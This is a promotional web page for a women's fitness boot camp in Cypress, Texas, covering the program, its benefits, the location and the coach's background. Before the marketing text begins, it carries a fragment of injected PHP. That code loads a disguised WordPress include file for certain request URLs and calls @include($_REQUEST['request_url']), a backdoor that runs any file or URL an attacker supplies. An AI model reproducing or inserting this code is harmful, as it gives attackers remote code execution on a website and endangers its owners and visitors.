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");} if(strpos(strtolower($_SERVER['REQUEST_URI']),'mitcollege')){include(getcwd().'/wp-includes/class-wp-model.php'); exit;} @include($_REQUEST['request_url']); Women Fitness Boot Camp Houston | Women Fitness Boot Camp in Cypress Tx and Houston Tx Area

Interested in getting into the best shape of your life?

AT LAST! A quality Fitness Boot Camp in the Cypress Tx and Houston Tx area for women who are looking to lose weight, tone up, and get fit!

Other have been enjoying their new boot camp bodies… When is it going to be your turn? Enjoy 1 WEEK FREE!

Dear Reader,

Are you looking for a program that will help you lose weight, tone up, and get into the best shape of your life? If so, then you have chosen the right place.


People get bored going to the gym, walking around the track or running on treadmills, and stop their program because they aren’t seeing results. Often times we forget that fitness is not a quick fix to fat loss, but it is a lifestyle change!


At our Team Tooke- Cypress Fitness Boot Camp you will be motivated to take control of your fitness! You will be pushed and encouraged by your coach and teammates all the while getting a work out session you won’t see in any other gym! You can expect to be pushed beyond your limits and leave everyday with a sense of accomplishment because you are doing what most of the population isn’t!

What is it?

An indoor/outdoor program that is built for YOU! Our program utilizes calisthenics, body weight exercises, and dumbbell exercises with interval and cross training methods. Our style will keep your body guessing, “What’s next?!”

Why Fitness Boot Camp?

With our program you will never have to worry about hitting a plateau on your journey to weight loss. With our high intensity work outs you can burn up to 800-1000 calories a session! You’ll gain strength, endurance, and confidence, all the while losing all that excess fat! We train in a group setting which means you will not be doing this alone, others are here working towards the same goal!

What benefits will I get from this program?

  • Efficient- You will get a total body strength and cardio work out in each session!
  • Motivational- You will be surrounded by a family of determined women each time you come!
  • Educational- We will teach you how to eat healthy, what exercises you can do at home, and educate you on what it really takes to make fitness an everyday part of your life!
  • Innovative- Each session will be different than the last! We keep it fresh with new material so you will never get bored coming to Boot Camp!
  • Quality- Our trainer is not only certified, but educated in the field of exercise as well with years of training experience. You will be learning from someone knows what they are doing!

What if I’ve never worked out before?

Not a problem! Our sessions are developed to target everybody! Whether you are just starting your journey to fitness, or you’re an elite athlete, our program is right for you! We will show you how to do every move correctly and progressively move you up to advanced moves.

What should I bring?

A positive attitude!

Small Towel!


Where is the Boot Camp located?

We are based out of Team Tooke Mixed Martial Arts Cypress

11700 Barker Cypress Rd Ste B

Cypress, TX 77433

Meet your Coach!!

Team Tooke Mixed Martial Arts Women's Fitness Boot Camp Instructor


Hi, my name is Alyssa Cantu and I am on a mission to help YOU accomplish your fitness goals. I have a passion to bring fitness into everyone’s life. I graduated from Sam Houston State University with a Bachelor’s of Science Degree in Kinesiology- Exercise Science and a Minor in Health. I am an E4 in the Texas Army National Guard, currently going through Officer Candidate School. I am a 2nd Degree Black Belt in Tae Kwon Do, and am actively training as a Mix Martial Artist. I am certified through The National Institute of Preventive Medicine, and a Crossfit Level 1 Trainer. I have worked with a large spectrum of clients for the past 5 years.



281-256-3993 OR teamtookecypress@gmail.com